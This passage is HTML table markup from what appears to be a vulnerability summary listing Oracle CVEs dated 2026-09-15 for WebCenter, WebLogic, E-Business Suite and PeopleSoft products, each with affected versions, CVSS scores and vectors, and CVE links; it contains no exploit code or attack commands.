&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Security Framework). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83049&quot; target=&quot;_blank&quot;&gt;CVE-2026-83049&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83053&quot; target=&quot;_blank&quot;&gt;CVE-2026-83053&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Portlet Services). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83041&quot; target=&quot;_blank&quot;&gt;CVE-2026-83041&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle WebCenter Portal. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83046&quot; target=&quot;_blank&quot;&gt;CVE-2026-83046&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83048&quot; target=&quot;_blank&quot;&gt;CVE-2026-83048&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83050&quot; target=&quot;_blank&quot;&gt;CVE-2026-83050&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83051&quot; target=&quot;_blank&quot;&gt;CVE-2026-83051&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle WebCenter Portal. While the vulnerability is in Oracle WebCenter Portal, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Portal accessible data as well as unauthorized update, insert or delete access to some of Oracle WebCenter Portal accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83052&quot; target=&quot;_blank&quot;&gt;CVE-2026-83052&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Portal&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Portal product of Oracle Fusion Middleware (component: Runtime Tools). The supported version that is affected is 14.1.2.0.0. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle WebCenter Portal executes to compromise Oracle WebCenter Portal. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Portal. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83065&quot; target=&quot;_blank&quot;&gt;CVE-2026-83065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Sites&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Sites. While the vulnerability is in Oracle WebCenter Sites, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83031&quot; target=&quot;_blank&quot;&gt;CVE-2026-83031&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Sites&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83035&quot; target=&quot;_blank&quot;&gt;CVE-2026-83035&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Sites&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83036&quot; target=&quot;_blank&quot;&gt;CVE-2026-83036&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Sites&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83037&quot; target=&quot;_blank&quot;&gt;CVE-2026-83037&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Sites&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83032&quot; target=&quot;_blank&quot;&gt;CVE-2026-83032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Sites&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in takeover of Oracle WebCenter Sites. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83033&quot; target=&quot;_blank&quot;&gt;CVE-2026-83033&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebCenter Sites&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebCenter Sites product of Oracle Fusion Middleware (component: WebCenter Sites). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebCenter Sites. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle WebCenter Sites accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83034&quot; target=&quot;_blank&quot;&gt;CVE-2026-83034&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebLogic Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Web Container). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. While the vulnerability is in Oracle WebLogic Server, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83021&quot; target=&quot;_blank&quot;&gt;CVE-2026-83021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebLogic Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70748&quot; target=&quot;_blank&quot;&gt;CVE-2026-70748&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebLogic Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70756&quot; target=&quot;_blank&quot;&gt;CVE-2026-70756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebLogic Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-70757&quot; target=&quot;_blank&quot;&gt;CVE-2026-70757&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle WebLogic Server&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: TopLink Integration). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle WebLogic Server. While the vulnerability is in Oracle WebLogic Server, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83038&quot; target=&quot;_blank&quot;&gt;CVE-2026-83038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Work in Process&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Work in Process product of Oracle E-Business Suite (component: Workbenches). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Work in Process executes to compromise Oracle Work in Process. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Work in Process accessible data as well as unauthorized access to critical data or complete access to all Oracle Work in Process accessible data. CVSS 3.1 Base Score 8.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83477&quot; target=&quot;_blank&quot;&gt;CVE-2026-83477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle XML Gateway&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle XML Gateway product of Oracle E-Business Suite (component: Install). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle XML Gateway. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle XML Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle XML Gateway. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83044&quot; target=&quot;_blank&quot;&gt;CVE-2026-83044&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle XML Gateway&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle XML Gateway product of Oracle E-Business Suite (component: Install). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle XML Gateway. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle XML Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle XML Gateway. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83300&quot; target=&quot;_blank&quot;&gt;CVE-2026-83300&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle XML Gateway&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle XML Gateway product of Oracle E-Business Suite (component: Install). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle XML Gateway. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle XML Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle XML Gateway. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83345&quot; target=&quot;_blank&quot;&gt;CVE-2026-83345&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle XML Gateway&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle XML Gateway product of Oracle E-Business Suite (component: Install). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle XML Gateway. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle XML Gateway accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle XML Gateway. CVSS 3.1 Base Score 7.1 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83352&quot; target=&quot;_blank&quot;&gt;CVE-2026-83352&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise FIN Engineering Brazil&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise FIN Engineering Brazil product of Oracle PeopleSoft (component: Engineering). The supported version that is affected is 9.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where PeopleSoft Enterprise FIN Engineering Brazil executes to compromise PeopleSoft Enterprise FIN Engineering Brazil. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise FIN Engineering Brazil. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83420&quot; target=&quot;_blank&quot;&gt;CVE-2026-83420&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise FIN Inventory Brazil&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise FIN Inventory Brazil product of Oracle PeopleSoft (component: Inventory). The supported version that is affected is 9.1. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where PeopleSoft Enterprise FIN Inventory Brazil executes to compromise PeopleSoft Enterprise FIN Inventory Brazil. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise FIN Inventory Brazil. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83147&quot; target=&quot;_blank&quot;&gt;CVE-2026-83147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--PeopleSoft Enterprise PeopleTools&lt;/td&gt;
&lt;td&gt;Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink). Supported versions that are affected are 8.61-8.63. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in takeover of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 8.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
